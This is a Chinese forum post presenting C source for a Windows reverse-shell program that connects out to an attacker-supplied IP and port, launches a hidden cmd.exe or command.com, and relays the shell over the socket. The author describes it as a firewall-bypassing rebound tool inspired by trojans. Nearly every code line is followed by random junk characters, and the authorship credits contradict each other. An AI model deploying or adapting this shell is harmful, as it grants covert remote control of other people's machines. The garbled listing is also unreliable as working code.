Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 mcXakWmi  
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/* ============================== GSFT(XX  
Rebound port in Windows NT w0I /  
By wind,2006/7 }n7e_qy4  
===============================*/ \9?<E[  
#include %b&BLXW  
#include Uy1xNb/d  
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#pragma comment(lib,"wsock32.lib") @/u`7FO$&  
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void OutputShell(); F@lpjW  
SOCKET sClient; e ^qnUjMy  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8{l=`y"nB  
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void main(int argc,char **argv) }:8>>lQ  
{ :&-}S>pC  
WSADATA stWsaData; I7_D $a=  
int nRet; V<pqc&f.  
SOCKADDR_IN stSaiClient,stSaiServer; S3w?Zk3hO  
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if(argc != 3) F)5Aq H/p
 
{ b?NeSiswn  
printf("Useage:\n\rRebound DestIP DestPort\n"); "3MUrIsB>  
return; FlG^'UD  
} 
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WSAStartup(MAKEWORD(2,2),&stWsaData); R"o,m  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TjK5UML  
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stSaiClient.sin_family = AF_INET; EXcjF  
stSaiClient.sin_port = htons(0); @b{u/:y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EM/+1 _u  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O*{H;7Pv  
{
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printf("Bind Socket Failed!\n"); #jx?uS  
return; ]r1{%:8  
} y;Ln ao7i  
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stSaiServer.sin_family = AF_INET; WGluY>C;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @qy*R'+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AS_+}*WSFQ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5 h
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{ |I5?5 J\  
printf("Connect Error!"); Q_.c~I}yV  
return; 5l/l]  
} pNQkKDbL+  
OutputShell(); o>-v?Ug  
} Su$1 t  
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void OutputShell() 0P40K  
{ b Ne\{k  
char szBuff[1024]; T$8~9qx  
SECURITY_ATTRIBUTES stSecurityAttributes; s [F' h-y  
OSVERSIONINFO stOsversionInfo; ]
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  M .`  
STARTUPINFO stStartupInfo; a`~eC)T  
char *szShell; &qP-x98E?  
PROCESS_INFORMATION stProcessInformation; A=C3e4.C  
unsigned long lBytesRead; H"rzRd;S  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZHF(q6T  
stSecurityAttributes.lpSecurityDescriptor = 0; L##8+OJ.L  
stSecurityAttributes.bInheritHandle = TRUE; lJzy)ne  
}`N2ZxC0AQ  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m?VRX.>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MR_bq_)  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L0mnU)Q}C  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; soq".
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stStartupInfo.wShowWindow = SW_HIDE; bxdXZBn  
stStartupInfo.hStdInput = hReadPipe; )ozcr^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i`KZ,   
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GetVersionEx(&stOsversionInfo); /uE^H%9h  
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switch(stOsversionInfo.dwPlatformId) h [IYA1/y  
{ x]R(
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case 1: M=AvD(+ha  
szShell = "command.com"; KHlIK`r  
break; ~kYqGH  
default: *Cnq2=A]A  
szShell = "cmd.exe"; W8,tl>(  
break; )jk1S  
} \5[D7}  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); SCurO9RN  
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send(sClient,szMsg,77,0); /iUUM t'  
while(1) 9fuJJ3L[  
{ >I
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <4Q12:  
if(lBytesRead) N2tkCkl^x9  
{ =F'M~3M   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2>$F0 M  
send(sClient,szBuff,lBytesRead,0); %K^gUd>,R  
} \oB'  
else p/hvQyE  
{ |)-|2cPRur  
lBytesRead=recv(sClient,szBuff,1024,0); mLg{6qm(q  
if(lBytesRead<=0) break; &]VQR2J}:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); GOf`Z'\xt  
} /bmXDDYH4  
} _hy{F%}  
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return; (LRM~5KVg  
}